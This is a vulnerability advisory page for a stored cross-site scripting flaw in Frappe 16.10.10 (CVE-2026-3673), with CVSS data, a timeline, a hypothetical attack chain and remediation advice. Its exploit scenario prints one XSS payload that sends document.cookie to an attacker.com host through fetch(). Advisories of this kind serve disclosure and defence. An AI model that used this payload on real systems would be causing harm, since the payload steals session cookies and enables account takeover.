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Frappe CVE-2026-3673

| EUVD-2026-25071 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 Fluid Attacks GHSA-qg6x-fw6m-9qrp
4.6
CVSS 4.0 · NVD
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Severity by source

NVD PRIMARY
4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
A
Scope
X

Lifecycle Timeline

5
Analysis Generated
Apr 23, 2026 - 07:05 vuln.today
CVSS changed
Apr 22, 2026 - 20:22 NVD
4.6 (MEDIUM)
EUVD ID Assigned
Apr 22, 2026 - 20:01 euvd
EUVD-2026-25071
Analysis Generated
Apr 22, 2026 - 20:01 vuln.today
CVE Published
Apr 22, 2026 - 19:32 nvd
MEDIUM 4.6

DescriptionCVE.org

An authenticated attacker can store a crafted tag value in _user_tags and trigger JavaScript execution when a victim opens the list/report view where tags are rendered. The vulnerable renderer interpolates tag content into HTML attributes and element content without escaping. This issue affects Frappe: 16.10.10.

AnalysisAI

Stored cross-site scripting (XSS) in Frappe 16.10.10 allows authenticated attackers with high privileges to inject malicious JavaScript via crafted tag values in the _user_tags field, which execute when victims open list or report views. The vulnerability stems from unescaped interpolation of tag content into HTML attributes and element content. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain high-privilege credentials
Delivery
Access Frappe UI
Exploit
Inject XSS payload into _user_tags field
Install
Store malicious tag
C2
Victim opens list/report view
Execute
JavaScript executes in victim's browser
Impact
Attacker exfiltrates session/data or performs privileged actions

Vulnerability AssessmentAI

Exploitation Authentication as a user with privileges to write to the _user_tags field (typically high-privilege roles such as System Manager or custom roles with tag-editing permissions). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a real but constrained risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A Frappe administrator (or user with tag-editing permissions) is compromised or turns malicious. They create a new user or task record and inject a payload such as `<img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>` into the _user_tags field. …
Remediation Upgrade Frappe to a patched version released after 16.10.10. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-3673 vulnerability details – vuln.today

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